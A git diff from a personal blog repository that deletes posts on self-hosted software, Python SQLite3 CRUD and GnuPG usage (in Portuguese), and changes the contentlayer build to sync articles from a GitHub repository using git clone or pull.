FreeBSD system to manage._ - -[**wirehole**](https://github.com/IAmStoxe/wirehole): _WireHole is a combination of WireGuard, Pi-hole, and Unbound in a docker-compose project with the intent of enabling users to quickly and easily create a personally managed full or split-tunnel WireGuard VPN with ad blocking capabilities thanks to Pi-hole, and DNS caching, additional privacy options, and upstream providers via Unbound._ - -[**NetBox**](https://netbox.readthedocs.io/en/stable/): _NetBox is an open source web application designed to help manage and document computer networks. Initially conceived by the network engineering team at DigitalOcean, NetBox was developed specifically to address the needs of network and infrastructure engineers._ - -## Networks - -> Alternative to conventional, centralized, internet. - -[**ZeroNet**](https://zeronet.io/): _Open, free and uncensorable websites, -using Bitcoin cryptography and BitTorrent network._ - -## Stats - -[**Grafana**](https://grafana.com/): _Grafana® allows you to query, visualize, alert on and understand your metrics no matter where they are stored. Create, explore, and share dashboards with your team and foster a data driven culture._ - -[**Icinga**](https://icinga.com/): _Monitor Your Entire Infrastructure. Find answers, take actions and become a problem-solver. Be flexible and take your own ways. Stay curious, stay passionate, stay in the loop. Tackle your monitoring challenge._ - -## Container Manager - -[**Porteiner**](https://www.portainer.io/): _Portainer is a universal container management tool. It works with Kubernetes, Docker, Docker Swarm and Azure ACI. It allows you to manage containers without needing to know platform-specific code._ - -[**Kubernets**](https://kubernetes.io/): _Kubernetes, also known as K8s, is an open-source system for automating deployment, scaling, and management of containerized applications._ - -# Conclusion - -Help me with this list! - -If you know more softwares, make a contribution to the list at https://github.com/mateusfg7/mfg-b/blob/main/_posts/self-hosted-softwares.md - -# referencies - -- https://privacytools.io/ [[_archive_](https://web.archive.org/web/20210922131626/https://privacytools.io/)] -- https://privacytools.io/software/cloud/ [[_archive_](https://web.archive.org/web/20210922131749/https://privacytools.io/software/cloud/)] -- https://privacytools.io/software/networks/ [[_archive_](https://web.archive.org/web/20210922131730/https://privacytools.io/software/networks/)] -- https://privacytools.io/software/real-time-communication/ [[_archive_](https://web.archive.org/web/20210922131742/https://privacytools.io/software/real-time-communication/)] -- https://privacytools.io/software/passwords/ [[_archive_](https://web.archive.org/web/20210922131748/https://privacytools.io/software/passwords/)] -- https://www.geckoandfly.com/24024/self-hosted-cloud-storage/ [[_archive_](https://web.archive.org/web/20210629145200/https://www.geckoandfly.com/24024/self-hosted-cloud-storage/)] -- https://www.reddit.com/r/selfhosted/ [[_archive_](https://web.archive.org/web/20210916142932/https://www.reddit.com/r/selfhosted/)] -- https://www.reddit.com/r/selfhosted/comments/nfkeju/organizr_to_heimdall_to_sui_and_now_homer_my/ [[_archive_](https://web.archive.org/web/20210518195440/https://www.reddit.com/r/selfhosted/comments/nfkeju/organizr_to_heimdall_to_sui_and_now_homer_my/)] -- https://www.reddit.com/r/selfhosted/comments/nhlzww/my_dashboard_2021_edition_i_love_self_hosting/ [[_archive_](https://web.archive.org/web/20210610021807/https://www.reddit.com/r/selfhosted/comments/nhlzww/my_dashboard_2021_edition_i_love_self_hosting/)] diff --git a/content/posts/sqlite3-with-python.mdx b/content/posts/sqlite3-with-python.mdx deleted file mode 100644 index 1315cfa3..00000000 --- a/content/posts/sqlite3-with-python.mdx +++ /dev/null @@ -1,318 +0,0 @@ ---- -title: 'Sqlite3 With Python' -date: '2021-03-20' -description: 'Manage a SQLite3 database with Python' -category: Python -tags: 'database, sqlite, crud' -author: 'mateusfg7' ---- - -[screenshot_1]: https://i.ibb.co/XYnddkT/screenshot-1.png -[screenshot_2]: https://i.ibb.co/9Ns0dDn/screenshot-2.png -[screenshot_3]: https://i.ibb.co/t3125Pm/screenshot-3.png -[screenshot_4]: https://i.ibb.co/cFTnyVT/screenshot-4.png -[screenshot_5]: https://i.ibb.co/C9bS2D3/screenshot-5.png -[screenshot_6]: https://i.ibb.co/7SDzLVC/screenshot-6.png - -## Connection - -First, we need to create a connection with database: - -```python -import sqlite3 -from sqlite3 import Error - -def create_connection(db_file): - '''Create a database connection to a SQLite database''' - - conn = None - - try: - conn = sqlite3.connect(db_file) - print(sqlite3.version) - except Error as e: - print(e) - finally: - if conn: - conn.close() -``` - -To create a connection, it's needed to invoke the function `connect()` from `sqlite3`, and save it in a variable. -In this case the connection was saved in `conn`, this variable will receive all the queries. - -After running this on python3 interactive shell we will receive the version of sqlite library and the database will be generated: - -`$ python3` - -``` ->>> from create_connection import create_connection ->>> create_connection('my_database.db') -2.6.0 ->>> -``` - -![../assets/sqlite3-with-python/screenshot_1][screenshot_1] - -If you pass file name as ':memory:', the database will be saved on the memory of computer: - -![/assets/sqlite3-with-python/screenshot_2][screenshot_2] - -## Refactor 1 - -Before of all, lets create a class where will contain all the methods: - -`db_manager.py` - -```python -class DB_Manager: - def __init__(self): - self.conn = None - - def create_connection(self, db_file="database.db"): - try: - self.conn = sqlite3.connect(db_file) - except Error as e: - print(e) -``` - -## Create tables - -let's add the function `create_table()` to the class: - -```python -def create_table(self, create_table_sql): - """ create a table from the create_table_sql statement - :param conn: Connection object - :param create_table_sql: a CREATE TABLE statement - :return: - """ - - try: - c = self.conn.cursor() - c.execute(create_table_sql) - except Error as e: - print(e) - -``` - -With the `DB_Manager`, let's run the Python Interactive Shell: - -```bash -$ python3 -``` - -Let's import the `DB_Manager`: - -```python ->>> from db_manager import DB_manager -``` - -then declare the variable containing the database name: - -```python ->>> database = 'pythonsqlite.db' -``` - -then, declare the variable containing the SQL statement of project table and the task table: - -```python ->>> sql_create_projects_table = """ CREATE TABLE IF NOT EXISTS projects ( - id integer PRIMARY KEY, - name text NOT NULL, - begin_date text, - end_date text - ); """ ->>> sql_create_tasks_table = """ CREATE TABLE IF NOT EXISTS tasks ( - id integer PRIMARY KEY, - name text NOT NULL, - priority integer, - status_id integer NOT NULL, - project_id integer NOT NULL, - begin_date text NOT NULL, - end_date text NOT NULL, - FOREIGN KEY (project_id) REFERENCES projects (id) - ); """ -``` - -then, we will instantiate the `DB_Manager` and create the connection: - -```python ->>> db_manager = DB_Manager() ->>> db_manager.create_connection() -``` - -after, let's create the tables: - -```python ->>> if db_manager.conn is not None: - # create projects table - db_manager.create_table(sql_create_projects_table) - - # create tasks table - db_manager.create_table(sql_create_tasks_table) - else: - print("Error! cannot create the database connection.") -``` - -If we run `ls` we will see that `database.db` was created: - -![/assets/sqlite3-with-python/screenshot_3][screenshot_3] - -Now we can use the command `sqlite3` passing our database as a param, then, run the `.tables` command to see the tables that we created: - -![/assets/sqlite3-with-python/screenshot_4][screenshot_4] - -## Refactor 2 - -First, let's write the connection and the insert statement as a hard code on `__init__` function: - -```python -# ...code - - def __init__(self, db_file="database.db"): - try: - # create connection - self.conn = sqlite3.connect(db_file) - except Error as e: - print(e) - - # create projects table - self.create_table(""" CREATE TABLE IF NOT EXISTS projects ( - id integer PRIMARY KEY, - name text NOT NULL, - begin_date text, - end_date text - ); - """) - - # create tasks table - self.create_table(""" CREATE TABLE IF NOT EXISTS tasks ( - id integer PRIMARY KEY, - name text NOT NULL, - priority integer, - status_id integer NOT NULL, - project_id integer NOT NULL, - begin_date text NOT NULL, - end_date text NOT NULL, - FOREIGN KEY (project_id) REFERENCES projects (id) - ); - """) - - -# code... -``` - -Then, delete the `create_connection` function. - -## Insert Data - -To add data to the tables, we need the function `execute` of the `Cursor` object. The `execute` function receive two params, the sql statement and a tuple with the data, after this, we need to run the `commit` function of the connection, something like this: - -```python -cur = conn.cursor() -cur.execute(sql, data) -conn.commit() -``` - -Let's create the function to add data on projects table and the tasks tables with this logic: - -```python -# ...code - -def create_project(self, project): - """ create new project into the project table - :param conn: - :param project: - :return: project id - """ - - sql = ''' INSERT INTO projects(name, begin_date, end_date) - VALUES(?,?,?) ''' - - cur = self.conn.cursor() - - cur.execute(sql, project) - self.conn.commit() - - return cur.lastrowid - -def create_task(self, task): - """ create new task - :param conn: - :param task: - :return: - """ - - slq = ''' INSERT INTO tasks(name, priority, status_id, project_id, begin_date, end_date) - VALUES(?,?,?,?,?,?)''' - - cur = self.conn.cursor() - - cur.execute(slq, task) - self.conn.commit() - - return cur.lastrowid - - -# code... -``` - -Running the python3 interactive shell, import the class and instantiate it in the `db_manager` variable: - -```python ->>> from db_manager import DB_Manager ->>> db_manager = DB_Manager() -``` - -after that, create the variable containing the project data, and a variable to save the project id on database: - -```python ->>> project = ('Cool App with SQLite & Python', '2021-03-20', '2021-03-23') ->>> project_id = db_manager.create_project(project) -``` - -then, create two tasks and save it on the database: - -```python ->>> task_1 = ('Analyze the requirements of the app', 1, 1, project_id, '2021-03-20', '2021-03-23') ->>> task_2 = ('Confirm with user about the top requirements', 1, 1, project_id, '2021-03-20', '2021-03-23') ->>> db_manager.create_task(task_1) -1 ->>> db_manager.create_task(task_2) -2 -``` - -The project and the tasks are saved now. Open the database to see the data. - -With the open database, use this commands to format the output: - -```bash -sqlite> .header on -sqlite> .mode column -``` - -Use the `SELECT` statement to get data from `projects` table: - -```sql -SELECT * FROM projects; -``` - -![/assets/sqlite3-with-python/screenshot_5][screenshot_5] - -Use the same statement to get data from `tasks` table: - -```sql -SELECT * FROM tasks; -``` - -![/assets/sqlite3-with-python/screenshot_6][screenshot_6] - ---- - -## referencies: - -SQLite Python: [https://www.sqlitetutorial.net/sqlite-python/](https://www.sqlitetutorial.net/sqlite-python/) [[_archive_](https://web.archive.org/web/20210922122212/https://www.sqlitetutorial.net/sqlite-python/)] - -- Creating a New Database: [https://www.sqlitetutorial.net/sqlite-python/creating-database/](https://www.sqlitetutorial.net/sqlite-python/creating-database/) [[_archive_](https://web.archive.org/web/20210922122523/https://www.sqlitetutorial.net/sqlite-python/creating-database/)] -- Creating Tables: [https://www.sqlitetutorial.net/sqlite-python/create-tables/](https://www.sqlitetutorial.net/sqlite-python/create-tables/) [[_archive_](https://web.archive.org/web/20210922122450/https://www.sqlitetutorial.net/sqlite-python/create-tables/)] -- Insert data: [https://www.sqlitetutorial.net/sqlite-python/insert/](https://www.sqlitetutorial.net/sqlite-python/insert/) [[_archive_](https://web.archive.org/web/20210922122231/https://www.sqlitetutorial.net/sqlite-python/insert/)] diff --git a/content/posts/the-gnu-privacy-guard.mdx b/content/posts/the-gnu-privacy-guard.mdx deleted file mode 100644 index 2172b607..00000000 --- a/content/posts/the-gnu-privacy-guard.mdx +++ /dev/null @@ -1,412 +0,0 @@ ---- -title: 'The GNU Privacy Guard' -date: '2021-08-30' -lastUpdate: '2021-09-06' -description: 'Learning about GPG and your uses' -category: 'PGP-GPG' -tags: 'hash, cryptography, asymmetric-cipher, security, how-to' -author: 'mateusfg7' ---- - -[screenshot1]: https://i.ibb.co/qyQDhnw/screenshot1.png -[screenshot2]: https://i.ibb.co/4m5tQ0d/screenshot2.png -[screenshot3]: https://i.ibb.co/c3T3v8B/screenshot3.png -[screenshot4]: https://i.ibb.co/GxRWRkk/screenshot4.png -[screenshot5]: https://i.ibb.co/rFGhmGs/screenshot5.png -[screenshot6]: https://i.ibb.co/5YYxGZc/screenshot6.png -[screenshot7]: https://i.ibb.co/1RF0p2R/screenshot7.png -[screenshot8]: https://i.ibb.co/S0MgDzj/screenshot8.png -[screenshot9]: https://i.ibb.co/N6x7QP3/screenshot9.png -[screenshot10]: https://i.ibb.co/Xjk4ghg/screenshot10.png -[screenshot11]: https://i.ibb.co/Lr4dtbw/screenshot11.png -[screenshot12]: https://i.ibb.co/CKxxrt6/screenshot12.png -[screenshot13]: https://i.ibb.co/j6h2jn4/screenshot13.png -[screenshot14]: https://i.ibb.co/Ldcwq3f/screenshot14.png -[screenshot15]: https://i.ibb.co/vVDkg47/screenshot15.png -[screenshot16]: https://i.ibb.co/DLDJjR5/screenshot16.png -[screenshot17]: https://i.ibb.co/t2CC6Tt/screenshot17.png -[screenshot18]: https://i.ibb.co/BfVw75K/screenshot18.png -[screenshot19]: https://i.ibb.co/ZzrZ7nd/screenshot19.png -[screenshot20]: https://i.ibb.co/zXBX0rp/screenshot20.png -[screenshot21]: https://i.ibb.co/NCjrhLk/screenshot21.png -[screenshot22]: https://i.ibb.co/4Ys1Nqk/screenshot22.png -[screenshot23]: https://i.ibb.co/KKmXtqc/screenshot23.png -[screenshot24]: https://i.ibb.co/HYxWv6J/screenshot24.png -[screenshot25]: https://i.ibb.co/hCvFxgN/screenshot25.png - -# Introdução - -## O GPG - -O GPG é um programa de linha de comando que possibilita encriptar mensagens e arquivos usando um sistema de chaves assimétricas. Segundo o site do próprio GPG: - -> GnuPG is a complete and free implementation of the OpenPGP standard as defined by [RFC4880](https://www.ietf.org/rfc/rfc4880.txt) (also known as*PGP*). GnuPG allows you to encrypt and sign your data and communications; it features a versatile key management system, along with access modules for all kinds of public key directories. GnuPG, also known as*GPG*, is a command line tool with features for easy integration with other applications. - -Para entender a diferença de PGP e GPG, veja [esse artigo](https://mfg-b.vercel.app/knowledge/difference-between-pgp-and-gpg). - -O GPG usa um sistema de chave publica/privada, que possibilita encriptar mensagens e arquivos, e assinar os mesmos. - -## Criptografia assimétrica x simétrica - -Na criptografia simétrica, a chave que usamos para criptografar é a mesma usada para descriptografar. O problema disso, é que a chave precisa ser passada para o destinatário da mensagem criptografada, oque corre o risco de ser interceptada, se tornando inútil a criptografia, visto que o interceptador tem acesso tanto a mensagem quanto a chave que vai descriptografa-la. - -Na criptografia assimétrica, a chave que usamos para criptografar será diferente da que usamos para criptografar. Neste caso o destinatário só terá que enviar sua chave pública para o remetente criptografar a mensagem usando a mesma, esta mensagem só poderá ser descriptografada usando a chave privada do destinatário, chave essa que não será enviada na transação, não correndo o risco de ser interceptada. - -# Ambiente - -- **OS**: _Parrot OS 4.11 x86_64_ -- **Kernel**: _5.10.0-8parrot1-amd64_ -- **Shell**: _ZSH 5.8_ -- **gpg (GnuPG)**: _2.2.27_ - -## Instalação - -O GnuPG pode ser baixado nesta página: https://gnupg.org/download/index.html - -No caso de sistemas baseados em Debian, que usa o gerenciador de pacotes APT, é só rodar o seguinte comando no terminal: - -```bash -$ sudo apt install gnupg -``` - -Existe também uma lista de front-ends do gpg com interface gráfica no site do GnuPG: https://www.gnupg.org/software/frontends.html - -# Criptografia Simétrica - -O foco da criptografia PGP, é a criptografia assimétrica, mas o GnuPG também tem a opção de criptografar algo usando apenas a criptografia assimétrica. - -## Encrypt - -Primeiro vamos criar um arquivo chamado `mensagem.txt`, com a mensagem "Mensagem super secreta". Nós queremos proteger essa mensagem, para que ninguém que possua a chave possa ter acesso a esta mensagem. Para criptografar a mensagem basta usar a opção `--symmetric` e o nome do arquivo: - -```bash -$ gpg --symmetric mensagem.txt -``` - -O software pedirá para que você digite a senha a ser usada, neste caso estou usando a senha `123456`. - -Note que foi criado um arquivo com a extensão `.gpg` (`mensagem.txt.gpg`), esse arquivo é o arquivo criptografado, agora é só deletar o arquivo original, e ficar apenas com o arquivo criptografado. - -![/assets/gnupg/screenshot1.png][screenshot1] - -## Decrypt - -Para descriptografar a mensagem, usamos o seguinte comando: - -```bash -$ pgp --output mensagem.txt --decrypt mensagem.txt.gpg -``` - -Opções: - -- `--output [arquivo]`: _Define o arquivo de saída a partir do arquivo criptografado._ -- `--decrypt [arquivo]`: _Define o arquivo a ser descriptografado._ - -![/assets/gnupg/screenshot2.png][screenshot2] - -# Criptografia Assimétrica - -Como já citado, a criptografia assimétrica usa um conceito de chave pública-privada, então para usarmos essa categoria de criptografia precisamos primeiro criar nosso par de chaves (key-pair). - -## Criar o key-pair - -Para criar o key-pair basta passar a opção `--full-generate-key`, sem nenhum outro argumento, o gpg fará uma série de perguntas: - -1. O tipo de criptografia a ser usada na hora de gerar as chaves. -2. O tamanho da chave. Quanto maior a chave mais seguro, mas creio que o padrão recomendado pelo gpg (3072) é o suficiente. -3. Tempo de duração até a chave expirar. Você tem a opção de expirar a chave em alguns dias, semana, meses, ou anos, ou até sem nenhuma data de expiração. Ai vai da utilidade que terá essa chave. -4. Ele pede seu nome, email e um comentário, para poder facilitar na identificação do dono da chave. O gpg não verifica a validade de nome e email, então não ha problema em usar informações fictícias. O comentário é exibido ao lado do nome, e pode ser usado para informar um apelido (nickname), ou uma informação adicional sua, ou até pode-se deixar em branco. -5. Logo após, aparecera uma janela para criar a senha principal da sua chave privada. Escolha uma senha forte. - -```text -$ gpg --full-generate-key - -gpg (GnuPG) 2.2.27; Copyright (C) 2021 Free Software Foundation, Inc. -This is free software: you are free to change and redistribute it. -There is NO WARRANTY, to the extent permitted by law. - -Por favor selecione o tipo de chave desejado: - (1) RSA and RSA (default) - (2) DSA and Elgamal - (3) DSA (apenas assinatura) - (4) RSA (apenas assinatura) - (14) Existing key from card -Opção? 1 - -RSA keys may be between 1024 and 4096 bits long. -What keysize do you want? (3072) -O tamanho de chave pedido é 3072 bits - -Por favor especifique por quanto tempo a chave deve ser válida. - 0 = chave não expira -  = chave expira em n dias - w = chave expira em n semanas - m = chave expira em n meses - y = chave expira em n anos -A chave é valida por? (0) 1 -Key expires at sáb 04 set 2021 12:20:51 -03 -Is this correct? (y/N) y - -GnuPG needs to construct a user ID to identify your key. - -Nome completo: Oh tal doh Mattewz -Endereço de correio eletrónico: mateusfg7@email.eu -Comentário: mateusfg7 -Você selecionou este identificador de utilizador: -"Oh tal doh Mattewz (mateusfg7) " - -Mudar (N)ome, (C)omentário, (E)ndereço ou (O)k/(S)air? O - -Precisamos gerar muitos bytes aleatórios. É uma boa ideia realizar outra -actividade (escrever no teclado, mover o rato, usar os discos) durante a -geração dos números primos; isso dá ao gerador de números aleatórios -uma hipótese maior de ganhar entropia suficiente. -Precisamos gerar muitos bytes aleatórios. É uma boa ideia realizar outra -actividade (escrever no teclado, mover o rato, usar os discos) durante a -geração dos números primos; isso dá ao gerador de números aleatórios -uma hipótese maior de ganhar entropia suficiente. - -gpg: key 0DA9480F7387D94C marked as ultimately trusted -gpg: revocation certificate stored as '/home/mateusfg7/.gnupg/openpgp-revocs.d/D3EED251C38AE4F4F3EE39310DA9480F7387D94C.rev' -chaves pública e privada criadas e assinadas. - -pub   rsa3072 2021-09-03 [SC] [expires: 2021-09-04] -D3EED251C38AE4F4F3EE39310DA9480F7387D94C -uid                      Oh tal doh Mattewz (mateusfg7) -sub   rsa3072 2021-09-03 [E] [expires: 2021-09-04] -``` - -![/assets/gnupg/screenshot3.png][screenshot3] - -## A Chave Pública - -A key-pair já foi gerada e salva no nosso keyring (chaveiro), agora queremos visualizar a nossa chave pública. Primeiro listamos nossas chaves, para isto, usamos a opção `--list-key`. - -```text -$ gpg --list-key -``` - -![/assets/gnupg/screenshot7.png][screenshot7] - -Irá aparecer várias chaves, e por último a chave que acabamos de criar. Podemos extrair algumas informações importantes da nossa chave, como: - -- Algorítimo usado e o tamanho da chave: **rsa3072**. -- A data de criação da chave: **2021-09-03**. -- A data de expiração da chave: **2021-09-04**. -- E o fingerprint (digital) da chave: `D3EED251C38AE4F4F3EE39310DA9480F7387D94C`. - ![/assets/gnupg/screenshot8.png][screenshot8] - -É com o fingerprint da chave que usaremos para fazer algumas operações com ela. - -### Exportar - -Primeiro precisamos exportar nossa chave para poder compartilhar com outras pessoas. Pediremos o gpg para exportar a chave, usando a opção `--export`. Também usaremos a opção `--armor`, para exportar a chave no formato ASCII, sem essa opção a chave será exibida com vários caracteres estranhos. - -_sem a opção `--armor`_ - -![/assets/gnupg/screenshot5.png][screenshot5] - -_com a opção `--armor`_ - -![/assets/gnupg/screenshot4.png][screenshot4] - -Essa saída não é muito fácil de decorar, então costumamos a direcionar essa saída para um arquivo. Para isto usamos a opção `--output`, esse comando por sua vez recebe o nome do arquivo de destino como argumento. Por convenção, criamos esse arquivo com a extensão `.pub`, de _public_. Logo após, passaremos o fingerprint da chave que queremos exportar. Nosso comando ficará assim: - -```text -$ gpg --export --armor --output minha_chave.pub D3EED251C38AE4F4F3EE39310DA9480F7387D94C -``` - -![/assets/gnupg/screenshot6.png][screenshot6] - -É esse arquivo que disponibilizaremos de forma pública. - -### Importar - -Para importar uma chave pública para nossa keyring usamos a opção `--import`, e o arquivo da chave: - -```text -$ gpg --import minha_chave.pub -``` - -![/assets/gnupg/screenshot25.png][screenshot25] - -### Publicar - -Podemos publicar a nossa chave de forma pública em servidor de chave na internet, para isto basta usar a opção `--send-keys` e o fingerprint da chave pública que você deseja publicar: - -```text -$ gpg --send-keys D3EED251C38AE4F4F3EE39310DA9480F7387D94C -``` - -No meu caso minha chave foi enviada para [hkps://keys.openpgp.org](hkps://keys.openpgp.org), se o seu for diferente não tem problema. - -![/assets/gnupg/screenshot21.png][screenshot21] - -Para pesquisar uma chave bastar usar a opção `--search-keys` seguido do fingerprint da chave ou o email da pessoa que você quer pesquisar: - -```text -gpg --search-keys D3EED251C38AE4F4F3EE39310DA9480F7387D94C -``` - -![/assets/gnupg/screenshot22.png][screenshot22] - -### Editar - -Nós também podemos editar nossa chave. Para isto, usamos a opção `--edit-key` mais o fingerprint da chave que queremos editar: - -```text -$ gpg --edit-key D3EED251C38AE4F4F3EE39310DA9480F7387D94C -``` - -Após rodarmos o comando, ira abrir um shell interativo do próprio gpg, com inúmeros comandos e opções para poder editar, para ver todas, basta digitar o comando `help`. - -![/assets/gnupg/screenshot9.png][screenshot9] -![/assets/gnupg/screenshot10.png][screenshot10] - -Para exemplificar, mudarei a data de expiração da minha chave para 0, ou seja, vou desativa-la. Após rodar o comando, será pedido o tempo para chave expirar e a senha da chave, para poder realizar as alterações. - -```text -gpg> expire -Modificar a data de validade para uma chave primária. -Por favor especifique por quanto tempo a chave deve ser válida. - 0 = chave não expira - = chave expira em n dias - w = chave expira em n semanas - m = chave expira em n meses - y = chave expira em n anos -A chave é valida por? (0) 0 -Key does not expire at all -Is this correct? (y/N) y - -sec rsa3072/0DA9480F7387D94C - created: 2021-09-03 expires: never usage: SC - trust: ultimate validity: ultimate -ssb rsa3072/A42BFA763F8E415E - created: 2021-09-03 expires: 2021-09-04 usage: E -[ultimate] (1). Oh tal doh Mattewz (mateusfg7) - -gpg: WARNING: Your encryption subkey expires soon. -gpg: You may want to change its expiration date too. -``` - -![/assets/gnupg/screenshot11.png][screenshot11] - -Para salva as alterações e sair do modo interativo, basta digitar `quit`. Pronto, minha chave agora não tem mais uma data de expiração. - -![/assets/gnupg/screenshot12.png][screenshot12] - -## Usando o key-pair - -### Criptografando arquivos - -Para criptografar um arquivo, usamos a opção `--encrypt`, seguido da opção `--recipient`, que por sua vez tem como parâmetro o fingerprint de quem receberá a mensagem/arquivo criptografado. Nosso comando final ficará assim: - -```text -$ gpg --encrypt --recipient 5863874C7BBAFFE7829FB89C4151BFF1C8B0B523 mensagem.txt -``` - -![/assets/gnupg/screenshot13.png][screenshot13] - -### Descriptografando arquivos - -Para descriptografar um arquivo usando a chave privada, basta usar a opção `--decrypt`, e o arquivo criptografado: - -```text -$ gpg --decrypt mensagem.txt.gpg -``` - -![/assets/gnupg/screenshot14.png][screenshot14] - -### Assinando mensagens - -Outra função só gpg é assinar mensagens, imagine um cenário em que você não quer esconder a mensagem, e sim certificar que foi você quem escreveu a mesma. Esse é o objetivo de assinar mensagens, a ideia é você usar a chave privada para assinar a mensagem, e alguém que queira validar que aquela assinatura é sua, irá usar a sua chave pública. - -Digamos que escrevi algo muito importante para a humanidade, salvei em um arquivo, e quero assinar esse arquivo, para provar que a descoberta foi minha. Para isto assinaremos a mensagem usando a opção `--clear-sign`, depois usaremos a opção `--default-key`, com o fingerprint da chave que será usada para assinar a mensagem, e o arquivo a ser assinado: - -```text -$ gpg --clear-sign --default-key D3EED251C38AE4F4F3EE39310DA9480F7387D94C mensagem.txt -``` - -![/assets/gnupg/screenshot15.png][screenshot15] - -Para verificar a mensagem, basta usar a opção `--verify`, e o arquivo assinado: - -```text -$ gpg --verify mensagem.txt.asc -``` - -![/assets/gnupg/screenshot16.png][screenshot16] - -Se alguém alterar a mensagem, a verificação de assinatura irá falhar. - -![/assets/gnupg/screenshot17.png][screenshot17] - -Também podemos assinar um arquivo binário, como PDF, imagem, vídeos, executáveis binários, etc. O processo para assinar esse tipo de arquivo será um pouco diferente porque não se abre um arquivo binário para ler, então o gpg criará outro arquivo separado onde contem a assinatura, e para verificarmos se nosso binário é válido, precisamos tanto do arquivo original quanto do arquivo de assinatura. Primeiro criaremos um arquivo binário com dados aleatórios para fins educacionais, mas o processo pode ser feito com qualquer arquivo binário. - -```text -$ dd if=/dev/zero bs=1000000 count=10 > binary.dat -``` - -![/assets/gnupg/screenshot18.png][screenshot18] - -Para assinarmos arquivos binários usaremos a opção `--sign`, também usaremos a opção `--default-key` com o fingerprint da chave que usaremos para assinar o arquivo, e o arquivo: - -```text -$ gpg --sign --default-key D3EED251C38AE4F4F3EE39310DA9480F7387D94C binary.dat -``` - -Com isso o gpg gerará um outro binário contendo a assinatura do arquivo. - -![/assets/gnupg/screenshot19.png][screenshot19] - -Para verificar a assinatura o processo é mesmo citado acima. - -![/assets/gnupg/screenshot20.png][screenshot20] - -## Backup - -O backup da chave privada é extremamente importante, pois se você perder o dispositivo onde esta armazenada a chave privada, não há nenhum meio de recupera-la. Para exportar a chave privada, usamos a opção `--output` seguido do arquivo de saída da chave, depois a opção `--export-secret-keys` seguido do fingerprint da chave que deseja exportar: - -```text -$ gpg --output private_key.key --export-secret-keys D3EED251C38AE4F4F3EE39310DA9480F7387D94C -``` - -![/assets/gnupg/screenshot23.png][screenshot23] - -Para importa-la basta usar a opção `--import` e o arquivo: - -```text -$ gpg --import private_key.key -``` - -![/assets/gnupg/screenshot24.png][screenshot24] - -# Conclusão - -Esse foi só um apanhado do básico do GnuPG, há muito mais a se fazer com essa ferramenta. Para conhecer melhor ela basta usar a opção `--help`, que será listada todas as opções possíveis, ou até, no caso de sistemas Linux, usar o comando `man` seguido do programa que você quer ver o manual, no caso: - -```text -$ man gpg -``` - -Isto irá abrir o manual do comando `gpg`. - -Você também pode conferir o site oficial do GnuPG, listado abaixo nas referências. - ---- - -# Referências - -GnuPG: [_https://gnupg.org/_](https://gnupg.org/) [[_archive_](https://web.archive.org/web/20210903075632/https://www.gnupg.org/)] - -Conheça o PGP: mensagens INVIOLÁVEIS com criptografia assimétrica: [https://www.youtube.com/watch?v=p_TYYOtA2LU](https://www.youtube.com/watch?v=p_TYYOtA2LU) - -Tutorial GPG (em português): [https://www.youtube.com/watch?v=r8k-jJ-EHP8](https://www.youtube.com/watch?v=r8k-jJ-EHP8) - -How to Encrypt and Decrypt Files With GPG on Linux: [https://www.howtogeek.com/427982/how-to-encrypt-and-decrypt-files-with-gpg-on-linux/](https://www.howtogeek.com/427982/how-to-encrypt-and-decrypt-files-with-gpg-on-linux/) [[_archive_](https://web.archive.org/web/20210906144246/https://www.howtogeek.com/427982/how-to-encrypt-and-decrypt-files-with-gpg-on-linux/)] - -How to specify private key when decrypting a file using GnuPG?: [https://superuser.com/questions/920793/how-to-specify-private-key-when-decrypting-a-file-using-gnupg](https://superuser.com/questions/920793/how-to-specify-private-key-when-decrypting-a-file-using-gnupg) [[_archive_](https://web.archive.org/web/20210906144523/https://superuser.com/questions/920793/how-to-specify-private-key-when-decrypting-a-file-using-gnupg)] - -Encrypt and sign with specific secret key: [https://unix.stackexchange.com/questions/171715/encrypt-and-sign-with-specific-secret-key](https://unix.stackexchange.com/questions/171715/encrypt-and-sign-with-specific-secret-key) [[_archive_](https://web.archive.org/web/20210906144656/https://unix.stackexchange.com/questions/171715/encrypt-and-sign-with-specific-secret-key)] - -How to create binary file using Bash?: [https://stackoverflow.com/questions/8521240/how-to-create-binary-file-using-bash](https://stackoverflow.com/questions/8521240/how-to-create-binary-file-using-bash) [[_archive_](https://web.archive.org/web/20191109132407/https://stackoverflow.com/questions/8521240/how-to-create-binary-file-using-bash)] diff --git a/content/posts/typed-props-on-styled-components.mdx b/content/posts/typed-props-on-styled-components.mdx deleted file mode 100644 index 87ad9804..00000000 --- a/content/posts/typed-props-on-styled-components.mdx +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: 'Typed Props on Styled Components' -date: '2021-07-01' -description: 'Use typed props with styled-compoents and typescript' -category: 'styled-components' -tags: 'ux, ui, styles, typing' -author: 'mateusfg7' ---- - -# How - -Just create a interface and add the type with the property read only. After, add the interface to the tag declaration with `< >`: - -```typescript -interface Props { - readonly color: string -} - -const Text = styled.h1` - color: ${props => props.color}; -` - -const Component = () => Title - -export default Component -``` - ---- - -# referencies - -Using custom props: https://styled-components.com/docs/api#using-custom-props [[_archive_](https://web.archive.org/web/20210701174608if_/https://styled-components.com/docs/api)] diff --git a/content/postsSources.ts b/content/postsSources.ts new file mode 100644 index 00000000..57fd4d7b --- /dev/null +++ b/content/postsSources.ts @@ -0,0 +1 @@ +export const POST_SOURCES = ['https://github.com/mateusfg7/_mfg-b_articles'] diff --git a/contentlayer.config.ts b/contentlayer.config.ts index 9a195f3f..e7dec285 100644 --- a/contentlayer.config.ts +++ b/contentlayer.config.ts @@ -1,3 +1,4 @@ +/* eslint-disable no-void */ import remarkGfm from 'remark-gfm' import remarkMath from 'remark-math' import remarkBreaks from 'remark-breaks' @@ -9,7 +10,8 @@ import rehypeKatex from 'rehype-katex' import rehypeAutolinkHeadings from 'rehype-autolink-headings' import rehypeShiftHeading from 'rehype-shift-heading' -import { makeSource } from 'contentlayer/source-files' +import { spawn } from 'node:child_process' +import { makeSource } from 'contentlayer/source-remote-files' import { Post } from './content/definitions/Post' import { @@ -17,9 +19,68 @@ import { rehypeAutolinkHeadingsOptions, rehypeShiftHeadingOptions } from './content/plugin' +import { POST_SOURCES } from './content/postsSources' + +const syncContentFromGit = async (contentDir: string) => { + const syncRun = async () => { + POST_SOURCES.map(async url => { + const repoName = url.split('/').pop() + const originDir = `${contentDir}/posts/${repoName}` + await runBashCommand(` + if [ -d "${originDir}" ]; + then + cd "${originDir}"; git pull; + else + git clone --depth 1 --single-branch ${url} ${originDir}; + fi + `) + }) + } + + let wasCancelled 